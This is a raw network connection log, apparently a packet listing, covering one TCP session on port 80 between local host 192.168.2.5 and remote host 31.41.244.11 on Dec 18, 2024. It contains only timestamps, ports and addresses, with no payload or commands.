Dec 18, 2024 21:30:48.053602934 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.053649902 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.054379940 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.054392099 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.054425955 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.055077076 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.055089951 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.055125952 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.055733919 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.055746078 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.055762053 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.055784941 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.055803061 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.056500912 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.056514025 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.056557894 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.057193041 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.057204008 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.057244062 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.057876110 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.057894945 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.057930946 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.058557987 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.058571100 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.058581114 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.058605909 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.058621883 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.059087992 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.059101105 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.059143066 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.059797049 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.059809923 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.059849977 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.060417891 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.060430050 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.060470104 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.061043978 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.061057091 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.061068058 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.061088085 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.061103106 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.220941067 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.221019030 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.221203089 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.221246958 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.221327066 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.221369982 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.221575975 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.221587896 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.221621990 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.222266912 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.222299099 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.222343922 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.222759008 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.222770929 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.222800970 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.222955942 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.223407030 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.223418951 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.223448038 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.223474979 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.223973036 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.223994970 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.224028111 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.224047899 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.224677086 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.224711895 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.224752903 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.225217104 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.225259066 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.225305080 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.225943089 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.225960970 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.225990057 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.226016998 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.226557970 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.226572037 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.226602077 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.226615906 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.227227926 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.227242947 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.227271080 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.227308989 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.227929115 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.227945089 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.227984905 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.228589058 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.228602886 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.228640079 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.229434967 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.229458094 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.229491949 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.229515076 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.229955912 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.229976892 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.230009079 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.230016947 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.230050087 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.230659962 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.230673075 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.230719090 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.231365919 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.231419086 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.232245922 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.232263088 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.232275009 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.232302904 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.232335091 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.233036995 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.233051062 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.233092070 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.233724117 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.233736038 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.233778954 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.234369040 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.234380960 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.234431028 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.234822035 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.234836102 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.234847069 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.234883070 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.234898090 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.235505104 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.235518932 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.235563040 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.236160994 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.236174107 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.236219883 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.236836910 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.236850023 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.236897945 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.237540007 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.237554073 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.237597942 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.238207102 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.238219976 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.238230944 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.238266945 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.238292933 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.238944054 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.238957882 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.239002943 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.239018917 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.239589930 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.239603996 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.239645004 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.239660025 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.240338087 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.240360975 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.240417004 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.240973949 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.240988016 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.240998983 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.241031885 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.241058111 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.241678953 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.241692066 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.241733074 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.242333889 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.242347002 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.242404938 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.243010044 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.243029118 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.243065119 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.243092060 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.243750095 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.243763924 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.243804932 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.244275093 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.244364977 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.244381905 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.244393110 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.244415998 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.244465113 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.245090008 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.245104074 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.245146990 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.245798111 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.245819092 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.245852947 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.245870113 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.246462107 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.246474981 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.246507883 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.247106075 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.247127056 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.247139931 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.247163057 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.247190952 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.247837067 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.247849941 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.247889042 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.247909069 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.248507023 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.248518944 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.248558044 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.249228954 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.249243021 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.249270916 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.249296904 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.249898911 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.249912977 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.249953032 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.250567913 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.250581980 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.250591993 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.250622988 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.250649929 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.251336098 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.251348972 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.251403093 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.251967907 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.251987934 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.252021074 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.252055883 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.252652884 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.252665997 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.252700090 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.252716064 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.253330946 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.253344059 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.253355026 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.253391981 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.253422976 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.413427114 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.413525105 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.413527966 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.413541079 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.413588047 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.414413929 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.414572001 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.414920092 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.414933920 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.414979935 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.415426016 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.415481091 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.415601015 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.415612936 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.415647030 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.416022062 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.416033983 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.416074038 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.416667938 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.416680098 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.416728973 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.417356968 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.417373896 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.417407036 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.417432070 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.417901993 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.417913914 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.417949915 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.418658018 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.418670893 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.418708086 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.419239998 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.419259071 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.419292927 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.419307947 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.419908047 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.419923067 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.419959068 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.420701981 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.420717001 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.420727968 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.420749903 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.420770884 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.421407938 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.421444893 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.421472073 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.421494961 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.421905041 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.421928883 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.421953917 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.421966076 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.422662973 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.422702074 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.422709942 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.422739983 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.423297882 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.423322916 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.423348904 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.423361063 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.423837900 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.423851967 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.423882008 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.423885107 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.423919916 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.424567938 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.424582005 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.424618006 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.425276041 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.425290108 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.425326109 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.425971031 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.425987005 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.426023960 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.426038027 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.426883936 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.426901102 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.426913977 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.426928997 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.426940918 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.426959991 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.427767038 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.427784920 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.427817106 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.427829027 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.428380013 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.428416014 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.428430080 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.428462029 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.429158926 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.429173946 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.429207087 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.429219007 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.429677010 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.429691076 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.429724932 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.430613995 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.430629969 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.430641890 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.430663109 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.430675030 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.431205988 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.431230068 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.431253910 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.431273937 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.431746960 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.431760073 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.431812048 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.431812048 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.433195114 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.433244944 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.433526993 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.433573008 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.434781075 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.434792995 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.434803963 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.434811115 CET	80	49819	31.41.244.11	192.168.2.5
